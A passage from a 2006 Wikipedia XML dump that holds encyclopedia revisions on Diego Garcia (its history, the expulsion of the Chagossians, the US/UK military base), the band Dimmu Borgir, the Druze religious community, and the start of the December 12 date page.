The island and base were unaffected by the [[tsunami]] caused by the [[2004 Indian Ocean earthquake]]. Service personnel on the island reported only a minor increase in wave activity. The island was protected by its favourable ocean topography. East of the atoll lies the 650-kilometre-long Chagos Trench, an underwater canyon plunging more than 5000 metres. The depth of the trench and its grade to the shore makes it difficult for tsunami to build before passing the atoll. In addition, undersea [[coral reefs]] may have dissipated much of the waves' impact[http://www.estripes.com/article.asp?section=104&amp;article=26265].

On [[November 30]], [[1983]] a [[Moment magnitude scale|magnitude]] 7 [[earthquake]] 55 km north-west of the island spawned a small tsunami resulting in a 1.5 m rise in wave height in the Diego Garcia lagoon, jointly causing some damage to buildings, piers and the runway.
[http://asc-india.org/gq/chagos.htm].

== History ==
[[Image:DG Ariel Plantation.jpg|thumb|right|330px|Coconut Plantation, East Point]]
Portuguese explorers discovered Diego Garcia in the early 1500s.  The island's name is believed to have come from either the ship's captain or the navigator on that early voyage of discovery. 
The islands remained uninhabited until the 18th century when the French established [[copra]] plantations with the help of slave labor.  Diego Garcia became a possession of Great Britain after the Napoleonic wars, and from 1814 to 1965 it was a dependency of [[Mauritius]].  

In 1965, the Chagos Islands, which include Diego Garcia, were detached from Mauritius to form part of the British Indian Ocean Territories (BIOT).  In 1966, the crown bought the islands and plantations, which had been under private ownership and which had not been profitable with the introduction of new oils and lubricants.  In 1971 the plantations were closed due to the agreement between the UK/US to make Diego Garcia available to the US as a military base in exchange for a significant discount in the UK's acquisition of US nuclear 'Chevaline' warhead upgrades for Polaris missiles carried aboard nuclear submarines.  This agreement also forbade any other economic activity on the island.  Until 1973, Diego Garcia had a native population, known as the [[Ilois]] (or Chagossians), which was composed of the descendants of East Indian workers and African slaves who had been brought to the island in the eighteenth and nineteenth centuries to work on the coconut and copra plantations.  The islanders were transferred off Diego Garcia to [[Seychelles]] and then [[Mauritius]].  Ever since their expulsion, the Ilois have continually asserted their right to return to Diego Garcia, winning an important legal victory in Britain's [[High Court of Justice|High Court]] in 2000.  However, this judgement was overturned by [[order-in-council]] in June 2004, ending any chance of legal redress from British courts. The Ilois and their supporters are currently appealing this decision to the [[European Court of Human Rights]].

Now, Diego Garcia is home to a [[military base]] jointly operated by the [[United States]] and the [[United Kingdom]], although in practice it is largely run as a US base, with only a small number of British forces and Royal Overseas Police Officers (ROPOs).  
[http://www.publications.parliament.uk/pa/cm200304/cmhansrd/cm040712/text/40712w24.htm].
The base serves as a naval refuelling and support station.  It has an [[airbase]] that supports the largest of modern [[aircraft]].  [[B-52 Stratofortress|B-52]]s and other [[bomber]]s have been deployed from Diego Garcia on missions to [[Iraq]] during the [[Gulf War|1990 Gulf War]], and to [[Afghanistan]] in the [[2001 U.S. Attack on Afghanistan]].  High-tech portable shelters to support the [[B-2 Spirit|B-2]] bomber were built on the island before the [[2003 invasion of Iraq]]. The base is part of the [[U.S. Space Surveillance Network]] [http://www.stratcom.mil/fact_sheets/fact_spc.html] with a 3 telescope [[GEODSS]] station, and is a [[NASA]] [[Space Shuttle]] emergency landing site [http://www.globalsecurity.org/space/facility/sts-els.htm].

Neither the US nor the UK recognises Diego Garcia as being subject to the [[African Nuclear Weapons Free Zone Treaty]], even though the rest of the [[Chagos Archipelago]] is included, suggesting the US wishes to maintain the freedom to base [[nuclear weapon]]s there.

The agreement between the UK and US for the US to use the island as a military base was made in [[1966]]. It specifies that the lease runs until 2036, but either government can opt out of the agreement in 2016.

== Politics ==
[[Image:CIA-DG-BIOT.jpg|right|thumb|200px|Detailed map of Diego Garcia]]
In [[2000]] the [[High_Court_of_England_and_Wales|High Court]] in London granted the islanders the right to return to the Archipelago and granted them UK citizenship. In [[2002]] the islanders and their descendants, now numbering 4,500, returned to court claiming compensation, after what they said were two years of delays by the [[Foreign and Commonwealth Office|British Foreign Office]]. However, on [[10 June]][[2004]] the British government made two [[Order-in-Council|Orders-in-Council]] forever banning the islanders from returning home[http://www.fco.gov.uk/servlet/Front?pagename=OpenMarket/Xcelerate/ShowPage&amp;c=Page&amp;cid=1007029391629&amp;a=KArticle&amp;aid=1087553733971], reversing the [[2000]] court decision.  Some of the Ilois are making return plans to turn Diego Garcia into a sugarcane and fishing enterprise as soon as the defence agreement expires (some see this as early as [[2016]]). A few dozen other Ilois are still fighting to be housed in the [[United Kingdom|UK]][http://news.bbc.co.uk/1/hi/england/southern_counties/3977853.stm].

Human rights groups claim that the military base is used by the US government for [[interrogation]] of prisoners (with methods illegal in the US). The  [[Secretary_of_State_for_Foreign_and_Commonwealth_Affairs|British Foreign Secretary]] [[Jack Straw (politician)|Jack Straw]] has stated in [[British_parliament|parliament]] that US authorities have repeatedly assured him that no detainees have passed in transit through Diego Garcia or have disembarked there
[http://www.publications.parliament.uk/pa/cm200304/cmhansrd/vo040621/text/40621w13.htm#40621w13.html_wqn9].

==Popular culture==

In the science-fiction first person shooter video game [[Halo 2]], which takes place during the year 2552, Diego Garcia is the 'launch base' for the [[UNSC]]'s defensive strike against the Covenant after the [[Covenant]] invaded New Mombasa on the East coast of Africa.

The unit that is stationed there in 2552, is the 405th Marine Infantry Division. In the Battle of New Mombasa, a group of soldiers from &quot;A [Able] Company&quot; fight the Covenant Army in the city.

==External links==
* [http://www.cbsnews.com/stories/2003/06/12/60minutes/main558378.shtml Diego Garcia: Exiles Still Barred]
* [http://www.dg.navy.mil Official site of the United States Navy Support Facility, Diego Garcia.]
* [http://www.kuro5hin.org/story/2003/3/27/154441/816 Spreading democracy, by any means necessary. the US/UK and Diego Garcia]
* [http://www.mydiegogarcia.com Photo and written library of the islands and their environment]
* [http://www.globalsecurity.org/military/facility/diego-garcia.htm Diego Garcia &quot;Camp Justice&quot;], GlobalSecurity.org
* [http://homepage.ntlworld.com/jksonc/docs/bancoult-d16b1.html US/UK BIOT defence agreements, 1966-1982], US Court filing
* [http://www.infoplease.com/spot/dg.html Where in the World Is Diego Garcia?], Infoplease.com
* [http://www.antiwar.com/orig/pilger.php?articleid=3702 Diego Garcia: Paradise Cleansed] by [[John Pilger]]
* [http://www.granta.com/extracts/1225 Simon Winchester on Diego Garcia, in ''Granta'' Magazine]
{{Atolls of the Chagos Archipelago}}

[[Category:British Indian Ocean Territory]]
[[Category:United States Navy bases]]
[[Category:Indian Ocean atolls]]

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    </revision>
  </page>
  <page>
    <title>Dimmu Borgir</title>
    <id>8631</id>
    <revision>
      <id>42126415</id>
      <timestamp>2006-03-04T00:13:09Z</timestamp>
      <contributor>
        <ip>66.25.254.85</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox_band |
  band_name         = Dimmu Borgir|
  image             = [[Image:Dimmu_borgir.jpg|240px]] |
  years_active      = [[1993]] - present |
  origin            = [[Norway]] |
  music_genre       = [[Symphonic_Metal#Symphonic_black_metal|Symphonic Black Metal]] |
  record_label      = [[Nuclear Blast]] |
  current_members   = [[Shagrath|Stian Thoresen]]&lt;br /&gt;Thomas Rune Andersen&lt;br /&gt;Sven Atle Kopperud&lt;br /&gt;Simen Hestnæs&lt;br /&gt;[[Mustis|Øyvind Mustaparta]]&lt;br /&gt;[[Jan Axel Blomberg]]|
}}
'''Dimmu Borgir''' is a  [[Norway|Norwegian]] [[Symphonic_Metal#Symphonic_black_metal|symphonic black metal]] band whose music has been very popular in several [[Scandinavia|Scandinavian]] countries and [[Germany]]. &quot;Dimmu Borgir&quot; means &quot;Dark Castle&quot; or &quot;Dark Citadel&quot; in [[Icelandic language|Icelandic]].

==Biography==

Dimmu Borgir was originally founded in [[1993]] by [[Shagrath]], [[Silenoz]], and [[Tjodalv]].  The band released an EP entitled ''Inn I Evighetens Mørke'' ([[1994]]) translated to English the title means &quot;Into The Darkness of Eternity&quot;.  This short EP sold out within weeks, and the band followed up with the full length album ''For All Tid'' (1994) the title translates to &quot;For All Time&quot;.  This album featured musical contributions by members of [[Dødheimsgard]] and [[Ved Buens Ende]].  Interestingly enough, Shagrath played drums with Tjodalv on guitar and Erkekjetter (translating &quot;arch heretic&quot;) Silenoz covering vocals. This lineup changed before the release of ''Stormblåst'' (translates to &quot;Storm Blown&quot;) in [[1996]]. ''Stormblåst'' received high praise from many melodic black metal fans, and is often regarded a highlight of the band's career.  It is also the last album which features all lyrics written and sung in Norwegian.

After ''Stormblåst'', Dimmu Borgir's career took a sharp turn.  [[Keyboard instrument|Keyboard]]ist Stian Aarstad left the band due to his obligation to serve in the Norwegian army, thus he was not able to participate in the recording of ''Devil's Path'' (1996).  When he returned for the recording of ''Enthrone Darkness Triumphant'' ([[1997]]), he had trouble attending rehearsals and tour dates, and he was fired from the band.  ''Enthrone Darkness Triumphant'' was a huge success for the band, and it was their first release signed to the famous German [[record label]] [[Nuclear Blast]]. It was recorded in the Abyss Studios, owned by Hypocrisy's mainman Peter Tagtgren.

[[image:dimmu_borgir_pem.jpg|thumb|right|170px|&quot;Puritanical Euphoric Misanthropia&quot;]]
Dimmu Borgir's following full-length albums ''Spiritual Black Dimensions'' ([[1999]]) and ''Puritanical Euphoric Misanthropia'' ([[2001]]) both met critical acclaim.  Some fans accused the band of [[selling out]] due to the mass audiences which the albums reached. 

The band has stated that they are not &quot;commercially-oriented&quot;, and instead they simply wish to spread their message of [[misanthropy]] and evil to more people. In [[2003]], Dimmu Borgir used their major record label financial leverage to create a monumental album titled ''Death Cult Armageddon''.  Sections of the album were recorded with the [[Czech Philharmonic Orchestra]] to enhance the [[European classical music|classical]] arrangements which have always augmented the band's style.  

In [[2005]], the band did a complete re-recording of the ''[[Stormblåst]]'' album, featuring [[Jan Axel Blomberg|Hellhammer]] (of [[Mayhem]] fame) as the session drummer (replacing Nicholas Barker, who was fired from the band in early 2004).

==Discography==

[[image:dimmuborgir_deathcultarmageddon.jpg|thumb|right|170px|&quot;Death Cult Armageddon&quot;]]

===Studio Releases===

* ''[[Inn I Evighetens Mørke]]'' [EP] - ([[1994]])
* ''[[For All Tid]]'' - ([[1994]]) (Reis. [[1997]])
* ''[[Stormblåst]]'' - ([[1996]])
* ''[[Devil's Path]]'' [EP] - ([[1996]])
* ''[[Enthrone Darkness Triumphant]]'' - ([[1997]]) (Reis. [[2002]])
* ''[[Spiritual Black Dimensions]]'' - ([[1999]]) (Reis. [[2004]])
* ''[[Puritanical Euphoric Misanthropia]]'' - ([[2001]])
* ''[[Death Cult Armageddon]]'' - ([[2003]])
* ''[[Stormblast (re-recorded)]]'' - ([[2005]])

[[image:HHR044.jpg|thumb|right|170px|&quot;Sons of Satan Gather for Attack&quot; (1999 Issue)]]

===Live and other releases===

*''Godless Savage Garden'' [Compilation] - ([[1998]])
*''Alive in Torment'' [Live] - ([[2001]])
*''World Misanthropy'' [DVD/VHS] - ([[2002]])
*''World Misanthropy'' [Live] - ([[2002]])
*''Sons of Satan Gather for Attack'' [Compilation w/ [[Old Man's Child]]] - ([[1999]]) (Reis. [[2004]])

==Lineup==
===Current members===
*[[Shagrath]] (Stian Thoresen) – Vocals ([[1993]]–)
*[[Silenoz]] (Sven Atle Kopperud) – Guitar ([[1993]]–)
*[[Mustis]] (Øyvind Mustaparta) – Keyboard  ([[1998]]–)
*[[ICS Vortex]] (Simen Hestnæs) – Bass, Clean Vocals  ([[2000]]–)
*Galder (Thomas Rune Andersen) – Guitar  ([[2001]]–)
*[[Jan Axel Blomberg|Hellhammer]] (Jan Axel Blomberg) – Session Drums ([[2005]]–)

===Former members===
*Stian Aarstad – Keyboard ([[1993]]–[[1997]])
*Tjodalv – Drums ([[1993]]–[[1999]])
*Brynjard Tristan – Bass ([[1994]]–[[1996]])
*[[Nagash]] – Bass ([[1996]]–[[1999]])
*[[Kimberly Goss]] - Keyboard ([[1997]]-[[1998]])
*Astennu (Jamie Stinson) – Guitar ([[1997]]–[[1999]])
*[[Nicholas Barker]] – Drums ([[1999]]–[[2004]])
*Reno Kiilerich – Drums (Live) ([[2004]]–[[2004]])
*Tony Laureano – Drums (Live) ([[2004]]–[[2005]])

==Controversy==
&quot;Sorgens Kammer&quot; is a cover of a song taken from an [[Amiga]] game called [[Agony (game)|Agony]]. Stian Aarstad used the melody, but didn't tell anyone about it. The band always thought it was their own song until the original composer contacted them. Because of this, they removed the song from the 2005 version of [[Stormblåst]]. It was replaced by a previously unreleased track called &quot;Sorgens Kammer - del II&quot;

In C.S. Lewis' famous book ''Narnia; The Lion, The Witch and The Wardrobe'', a demon named Silenoz is mentioned at the back of an autobiographical book in Mr. Tumnus' house.

==External links==
*[http://www.dimmu-borgir.com Dimmu Borgir Official Homepage]
*[http://www.dimmuborgir.wz.cz Wolrd's No.1 fansite]
*[http://www.darklyrics.com/d/dimmuborgir.html Dimmu Borgir Lyrics]
*{{musicbrainz artist|id=17167af8-c1da-45cc-bba2-9d23f068b7a3|name=Dimmu Borgir}}

==See also==
Pronounced &quot;dim-moo bore-gear&quot;, '''the Dimmuborgir''' (Dimmu=foggy/dark, Borgir=castle/fortress) is a large area of unusually shaped lava fields east of [[Mývatn]] in [[Iceland]].  The Dimmuborgir area is composed of various caves and rock formations, remnants of [[volcanic]] activity that are perhaps reminiscent of an ancient collapsed citadel, with columns spewing plumes of [[sulfur|sulfuric]] smoke. In Icelandic folklore the Dimmuborgir is said to connect earth with the infernal regions, and is the purported dwelling-place of elves and trolls.
 
*[http://www.lamedon.de/urlaub/island/is-m35_en.html Dimmuborgir In Iceland]

[[Category:Norwegian musical groups|Dimmu Borgir]]
[[Category:Black metal musical groups|Dimmu Borgir]]
[[Category:Norwegian heavy metal musical groups]] 
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    </revision>
  </page>
  <page>
    <title>Druze</title>
    <id>8632</id>
    <revision>
      <id>42087461</id>
      <timestamp>2006-03-03T19:15:10Z</timestamp>
      <contributor>
        <username>Mikereichold</username>
        <id>566926</id>
      </contributor>
      <comment>rv blanking</comment>
      <text xml:space="preserve">__FORCETOC__The '''Druze''' ([[Arabic language|Arabic]]: ''duruz&amp;#299;'' &amp;#1583;&amp;#1585;&amp;#1586;&amp;#1610;, pl. ''dur&amp;#363;z'' &amp;#1583;&amp;#1585;&amp;#1608;&amp;#1586;, [[Hebrew language|Hebrew]]: druzi דרוזי, pl. druzim דרוזים) are a small, distinct religious community based mostly in the [[Middle East]], whose religion resembles [[Islam]], but is influenced by [[Greek philosophy]] and other religions.

[[Image:dstar.gif|thumb|170px|Druze Star]]

==Location==
[[Image:beiteddine2.jpg|thumb|400px|Palace at Beiteddine, Lebanon built by a Druze prince]]

The Druze reside primarily in [[Lebanon]], [[Israel]], [[Syria]], [[Turkey]] and [[Jordan]].  Small communities of expatriates also live in the [[United States]], [[Canada]], [[Latin America]], [[West Africa]], [[Australia]], and [[Europe]]. They use the [[Arabic language]] and follow a social pattern very similar to the other [[Arab]]s of the region. They are not considered [[Muslim]] by most Muslims in the region for although the Druze faith has its origins in Shia Islam, it differs in many respects from the principal branches of Islam. Most Druze consider themselves [[Arab]]s [http://www.dailytimes.com.pk/default.asp?page=story_1-2-2004_pg3_5]. There are about 1 million Druze worldwide, the vast majority in the [[Levant]] or East Mediterranean [http://news.bbc.co.uk/1/hi/world/middle_east/3612002.stm]. However, this figure may not be accurate as some sites/studies suggest they number around 450 000 [http://www.adherents.com/adh_branches.html#Islam].

The Druze call themselves ''[[Ahl al-Tawh&amp;#299;d]]'' or ''[[al-muwahhidūn]]'', &quot;[[the People of Monotheism]]&quot;. The origin of the name ''Druze'' is debated but is usually traced to [[Muhammad al-Darazi]], an early messenger of the community who is considered a [[Heresy|heretic]] by the Druze today.

==History of the Druze==
The religion developed out of [[Ismaili]] Islam, a philosophical movement based in the [[Fatimids|Fatimid]] [[Caliphate]], in the [[10th century]], a time of particular cultural wealth. The religion did not attempt to reform mainstream Islam but to create a whole new religious body influenced by [[Greek philosophy]], [[Gnosticism]] and [[Christianity]], among others. The main actors were ''Tariq al-Hak&amp;#299;m'' (meaning Ruler), also known as ''[[al-Hakim bi-Amr Allah|al-Hak&amp;#299;m bi-Amr Allah]] or Ruler in the Name of God'', and ''[[Hamza ibn-'Ali ibn-Ahmad]]'', the main architect of the movement. It was Hamza who first publicly proclaimed that Hak&amp;#299;m was the Ruler in the Name of God. Hak&amp;#299;m was opposed by mainstream [[Muslim]]s for what was considered [[apostasy]]. 

Because the Druze considered Tariq al-Hak&amp;#299;m to be the incarnation of God, they were persecuted by mainstream [[Muslim]]s, especially after Hak&amp;#299;m's death in [[1021]]. The Druze took up [[taqiyya]] (&quot;dissimulation&quot;), a practice whereby they conceal their true beliefs and outwardly accept the religious beliefs of those amongst whom they live, even as they secretly retained their true convictions. The Druze believe that Hak&amp;#299;m disappeared and will return in the [[Eschatology|end of days]].

The Druze have played major roles in the history of the [[Levant]]. They were mostly scattered in the [[Chouf Mountains]], which is part of [[Mount Lebanon]], and later the so-named [[Jabal el-Dourouz|Jabal al-Dur&amp;#363;z (Mount of the Druzes)]] in [[Syria]].

The Druze also played a major role in the [[Lebanese Civil War]] ([[1975]]&amp;ndash;[[1990]]). They organized a [[militia]] (one of the strongest militia in the War) under the leadership of [[Walid Jumblatt]], (son of [[Kamal Jumblatt]]), in opposition to the [[Maronite]] Christian [[Kataeb Party (Lebanon)|Phalangist]] militia of [[Bachir Gemayel]].  They were based in the Mount Lebanon area (especially the [[Chouf]]).

==The Druze today==

In Lebanon, Syria, and Israel, the Druze have official recognition as a separate religious community with its own religious court system. Their symbol is an array of five colors: [[green]], [[red]], [[yellow]], [[blue]] and [[white]]. Each color pertains to a symbol defining its principles: green for the Universal Soul or Al-ruh, red for the Universal Mind or Al-Aql, yellow for the Truth/Word or Al-Kalima, blue for the Antagonist/Cause or As-Sabq, and white for the Protagonist/Effect or Al-Tali. The symbol is usually represented in a five-sided star. This is why the number ''[[5 (number)|5]]'' has special considerations among the religious community.

In [[Israel]], Druze choose to vote in elections but usually identify themselves as [[Arab]]s (but not specifically as [[Palestinian]]s)&lt;sup&gt;[[#Notes|1]]&lt;/sup&gt;. Some of the Galilean and Carmelean Druzes are well known in Israel as “Israeli patriots”. Lately [[Azzam Azzam]], an Israeli-Druze alleged spy, has become (in Israel’s popular culture) the model of the “ultimate Israeli patriot”. However, many Druze living in the [[Golan Heights]] consider themselves [[Syria]]n and refuse Israeli citizenship, while the remainder consider themselves Israeli. In general elections the majority of Druze's villages have similar voting patterns as the general public. However, Druze living in the [[Golan Heights]] vote almost exclusively for right wing parties. Some Israeli Druze complain that their villages do not receive the same grants and subsidies that are given to [[Jew]]ish communities.
&lt;!-- Image with unknown copyright status removed: [[Image:druzewoman.jpg|thumb|300px|Druze woman of the Jabal El Druze in Syria]] --&gt;

Israeli Druze also serve in the [[Israeli army]], voluntarily since 1948, and&amp;mdash;at the community's request&amp;mdash;compulsorily since 1956. Their privileges and responsibilites are the same as Israeli Jews; thus, all Druze are drafted, but exemptions are given for religious students and for various other reasons; however, conscientious objectors typically face jail time [http://www.jcpa.org/jl/vp464.htm] (see also [[Refusal to serve in the Israeli military]]).

== Prominent Druze figures ==
*[[Fakhreddin II]] (1588 - 1635), descendant of the [[Ma'an Dynasty]], ruled at its height what is now Lebanon, part of Syria, Israel and even part of [[Turkey]].
*[[L'Emir Magid Arslan]] was the leader of the independence of Lebanon in 1943 when the president Bechara el Khoury with fellow ministers were taken to prison to rachaya by the French. His sons L'Emir Faysal Arslan and L'emir Talal Arslan fought democratically each other to gain seat in the Lebanese Parliament but L'Emir Talal Arslan won the seat because of Syria's influence over Lebanon during the Lebanese elections in 1992.
*[[Kamal Jumblatt]] was founder of the [[Lebanon|Lebanese]] [[Progressive Socialist Party]] in the mid-20th century, and a major thinker and philosopher; his son [[Walid Jumblatt]] remains prominent in Lebanese politics.
*In Israel, [[Salah Tarif]] (a former captain in the paratrooper and the tank divisions of the Israeli Army) has been a [[Knesset]] member since 1992. He has served as the Deputy Speaker and the Deputy Minister of Internal Affairs, and was appointed [[Minister Without Portfolio]] in the Sharon government of 2001. Other notable figures include [[Ayoob Kara]], a Druze Knesset member of the [[Likud]] party, and [[Colonel]] [[Imad Fares]], the acclaimed commander of the [[Givati Brigade]] from 2001&amp;ndash;2003. [[Major General]] Hussain Fares is the commander of the [[Israel Border Police]]. [[Azzam Azzam]] was accused of spying for Israel by Egypt, and jailed there for 8 years, before being released in late 2004.
*Famous musician [[Farid Al Atrache]], born in Syria (Jabal Al Druze) to Prince Farhan Atrash brother of Sultan Basha Al Atrash. He moved to Egypt with his mother, brother and sister Asmahan who was also a famous singer. He composed hundreds of songs and acted in many movies. He revived the Eastern musical traditions with such pieces as Lahn Al Khulud and the Rabeeh Opera.
*Radio announcer [[Casey Kasem]], born Kamal Amin Kasem to Lebanese Druze immigrants to the U.S., is probably that country's most well-known figure of Druze heritage. About 20,000 Druze live in the United States.
*Sultan Basha Elatrash: leader of the revolution against the French occupation of Lebanon and Syria in 1920's. He is viewed by many Druse as well as many Arabs as a symbol of courage and defiance to outside influence and occupation.

==Beliefs of the Druze==
The Druze faith keeps its tenets secret. They are publicly open about very few details of their faith (borrowing from the [[Shi'a Islam|Shiite]]  practice of [[taqiyya]]) and they do not accept converts and strongly discourage conversion from their religion to another. This is due to many religious, political and historical reasons: the Druze were violently and brutally persecuted for centuries by other religious communities.     
&lt;!-- Image with unknown copyright status removed: [[Image:pythagorasd.jpg|thumb|300px|Thinkers like Pythagoras are respected and even considered prophets in Druze faith]] --&gt;

The Druze believe in the unity of God, hence comes their own name for themselves: ''[[Ahl at-Tawh&amp;#299;d]]''. They are [[monotheism|monotheists]] in the same way as Christians, Jews and Muslims. Their [[theology]] has a [[Neo-Platonism|Neo-Platonic]] view about how God interacts with the world through emanations and is similar to some [[gnosticism|gnostic]] and other [[esotericism|esoteric]] sects. They are not, however, influenced by the [[Sufi]] philosophy, as many believe. 

The principles of the Druze faith are: guarding one's tongue (honesty), protecting one's brother, respecting the elderly, helping others, protecting one's homeland, and belief in one God. Another well-known feature of the Druze religion is a fervent belief in human-only [[reincarnation]] for all the members of the community. They do not accept [[polygamy]], [[tobacco smoking]], [[alcoholic beverage|alcohol]], and consumption of [[pork]]. Although pork is eaten and alcohol may be consumed in many non-religious households(i.e., Al-Juhl). Druze religion does not allow them to intermarry with [[Muslims]], [[Jews]], or members of any other religions. However, these rules are often disregarded in modern societies.

It is also known that Druze believe in five cosmic principles, represented by the five colored Druze star: intelligence/reason (green), soul (red), word (yellow), precedent (blue) and [[immanence]] (white). These virtues take the shape of five different spirits which, until recently, have been continuously reincarnated on Earth as prophets and philosophers including [[Adam and Eve|Adam]], [[Pythagoras]], [[Akhenaten]], and many others. The Druze believe that, in every time period, these 5 principles were personified in 5 different people who came down together to Earth to teach humans the true path to God and [[nirvana]], but that with them came 5 other individuals who would lead people away from the right path into 'darkness'.

The Druze believe in prophets like [[Adam]], [[Noah]], [[Abraham]], [[Sarah]], [[Jacob]], [[Moses]], [[Solomon]], [[John the Baptist]], [[Jesus Christ]], and [[Mohammad]]. But in contrast to members of the other monotheistic faiths, they elevate [[Jethro]], the [[father-in-law]] of [[Moses]], to status of major prophet. They also believe in the wisdom of classical Greek [[philosopher]]s such as [[Plato]]. In addition, they have an array of &quot;wise men&quot; that founded the religion in the [[11th century]]. Individual [[prayer]] does not exist. Druze are not required to follow the Muslim duties of prayer, fasting, nor make pilgrimage to [[Mecca]], but they may do so, especially if it is dangerous for them if they do not.

=== Uqqal and juhhal ===
&lt;!-- Image with unknown copyright status removed: [[Image:Sheikh_druze.jpg|thumb|200px|Druze Sheikh (member of the uqqal)]] --&gt;

The Druze are split into two groups. The inner group are called ''uqqal'' (عقال), &quot;Knowledgeable Initiates&quot;. Male ''uqqal'' grow moustaches, shave their heads, and wear dark clothing with white turbans. The outer group, called ''juhhal'' (جهال), &quot;the Ignorant&quot;, are not granted access to the secret Druze holy literature. Between 10&amp;ndash;20% of Druze are ''uqqal''. The remainder tend to form the Druze political and military leadership and generally distance themselves from religious issues.  Women are considered especially suitable to become uqqal. They are even regarded to be spiritually superior to men, a belief that greatly contrasts with the surrounding Christian and Muslim communities.

One of the Druze's holy books is called the &quot;''Hikma'' Book&quot; or the &quot;Book of Wisdom&quot;, largely compiled by a mysterious figure called [[Muqtana|al-Muqtana]]. It is written in several volumes and compiled in [[chapter]]s each covering a specific issue. They denounce materialism, especially materialism relative to religion. Druze places of worship are usually very modest, and their religious figures (''ajaw&amp;#299;d'') lead very modest lifestyles. Prayer is usually conducted discreetly, among family and friends. There is little official hierarchy in the religious community, except for the ''[[Shaykh]] al-'Aqel'', whose role is more political and social than religious. A religious figure is admired for his wisdom and lifestyle. 

Druze women, who are uqqal, can opt to wear a ''mand&amp;#299;l'' or transparent loose white [[veil]], especially in the presence of religious figures. They wear the mandeel on their head to cover their hair and wrap it around their mouth and sometimes over their nose as well. They wear black shirts and long skirts covering their legs to their ankles. They are considered equal to men in all aspects and are thought to be spiritually more suited to becoming members of the ''uqqal'' than men.

Today contradictory literature surrounds the Druze, mainly due to adopted beliefs that were used to protect them from persecutors and due to the rumors and stories of outsiders. For example, it is still unclear to most outsiders whether the Druze follow the same traditions of fasting as Muslims in the month of [[Ramadan]]. This is because the Druze have followed these traditions for centuries in order to protect themselves. Many orthodox Druze hold that they should not follow these traditions, but should follow a different fasting tradition still practiced by religious figures instead. The Druze have other fasting traditions, such as fasting during the ten days before [[Eid ul-Adha]], the last night of which is spent in prayer. The Druze fast is more difficult than the traditional [[Ramadan]] fast in that only one light meal is allowed in the evening.

==Notes==
#''Identity Repertoires among Arabs in Israel'', by Muhammad Amara and Izhak Schnell; ''Journal of Ethnic and Migration Studies'', Vol. 30, 2004

==External links==
* [http://www.druze.com/ American Druze Society - National]
* [http://www.druze.org/ American Druze Society - Michigan]
* [http://www.druzestudies.org/ Institute of Druze Studies]
* [http://www.druze.org.il/ Druze Online Network in Hebrew]
* [http://www.europeandruzesociety.com/ European Druze Society]
* [http://www.druzenet.org/ Druzenet: English Publications]
* [http://www.druze.net/ Canadian Druze Society]
* [http://www.mmouka.com www.mmouka.com]
* [http://www.druzehistoryandculture.com/ Articles about Druze]
* [http://59.1911encyclopedia.org/D/DR/DRUSES.htm 1911 Encyclopaedia Britannica article]
* [http://faculty-staff.ou.edu/L/Joshua.M.Landis-1/Joshua_Landis_Druze_and_Shishakli.htm Rise and fall of the Syrian Druze]
* [http://www.druzecafe.com/ Meeting Druze from all over the world]
* [http://www.religioustolerance.org/druse.htm Druse, Druze, Mowahhidoon] described at the OCRT site


[[Category:Islam]]
[[Category:Abrahamic religions]]
[[Category:Druze| ]]
[[Category:Israeli society]]
[[Category:Religion in Lebanon]]
[[Category:Lebanese society]]&lt;!-- should be in both because it is both a Lebanon based religion and a key community in Lebanon--&gt;
[[Category:Mystery religions]]
[[Category:Syrian society]]

[[ar:موحدون دروز]]
[[ca:Drusos]]
[[de:Drusen]]
[[es:Drusos]]
[[eo:Druzoj]]
[[fr:Druzes]]
[[hr:Druzi]]
[[he:דרוזים]]
[[nl:Druzen]]
[[ja:ドゥルーズ派]]
[[pl:Druzowie]]
[[pt:Druzo]]
[[ru:Друзы]]
[[sl:Druzi]]
[[sv:Druser]]
[[tr:Dürzilik]]
[[wa:Druzes]]</text>
    </revision>
  </page>
  <page>
    <title>December 12</title>
    <id>8633</id>
    <revision>
      <id>42010956</id>
      <timestamp>2006-03-03T05:06:12Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>/* Events */ added Keiko here (RIP)</comment>
      <text xml:space="preserve">'''December 12''' is the 346th day (347th in leap years) of the year in the [[Gregorian calendar]], with 19 days remaining.

{{DecemberCalendar}}

==Events==
*[[627]] - [[Battle of Nineveh (627)|Battle of Nineveh]]: A [[Byzantine Empire|Byzantine]] army under Emperor [[Heraclius]] defeated Emperor [[Khosrau II]]'s [[Persians|Persian]] forces, commanded by General Rhahzadh.
*[[1098]] - [[First Crusade]]: Massacre of [[Ma'arrat al-Numan]] - [[Crusaders]] breach the town's walls and massacre about 20,000 inhabitants. After finding themselves with insufficient food, they resort to [[cannibalism]].
*[[1531]] - Apparition of [[Our Lady of Guadalupe]] to Juan Diego in [[Mexico City]].
*[[1719]] - The ''[[Boston Gazette]]'' is published for the first time.
*[[1781]] - [[American Revolutionary War]]: [[Second Battle of Ushant]] - A [[Royal Navy]] squadron, commanded by Rear Admiral [[Richard Kempenfelt]] in ''[[HMS Victory]]'', defeats a [[France|French]] fleet.
*[[1870]] - [[Joseph H. Rainey]] of [[South Carolina]] becomes the first black [[Congress of the United States|U.S. congressman]].
*[[1897]] - [[Belo Horizonte]], the first [[planned city]] of [[Brazil]], is inaugurated.
*[[1901]] - [[Guglielmo Marconi]] receives the first [[trans-Atlantic]] [[radio]] signal at [[Signal Hill, Newfoundland and Labrador|Signal Hill]] in [[St John's, Newfoundland]].
*[[1903]] - The city of [[Fairfield, California]] is incorporated.
*[[1911]] - [[Delhi]] replaces [[Calcutta]] as the capital of [[India]].
*[[1915]] - President of the [[Republic of China]], [[Yuan Shikai]], reinstates the monarchy and proclaims himself [[Emperor of China]].
*[[1917]] - In [[Nebraska]], Father [[Edward J. Flanagan]] founds [[Boys Town]] as a farm village for wayward boys. 
*[[1925]] - The [[Majlis of Iran]] votes to crown [[Reza Pahlavi|Reza Khan]] as the new [[Shah of Persia]].
*[[1936]] - [[Xi'an Incident]]: The [[Generalissimo]] of the [[Republic of China]], [[Chiang Kai-shek]] was kidnapped by [[Zhang Xueliang]].
*[[1937]] - [[Panay incident]]: [[Imperial Japan|Japanese]] aircraft shell and sink US gunboat ''[[Panay]]'' on the [[Yangtze River]] in [[China]].
*[[1939]] - [[Winter War]]: [[Battle of Tolvajärvi]] - [[Finland|Finnish]] forces defeat those of the [[Soviet Union]] in their first major victory of the conflict.
*[[1940]] - Approximately 70 people are killed in the Marples Hotel, [[Fitzalan Square]], [[Sheffield]] as a result of a German air raid.
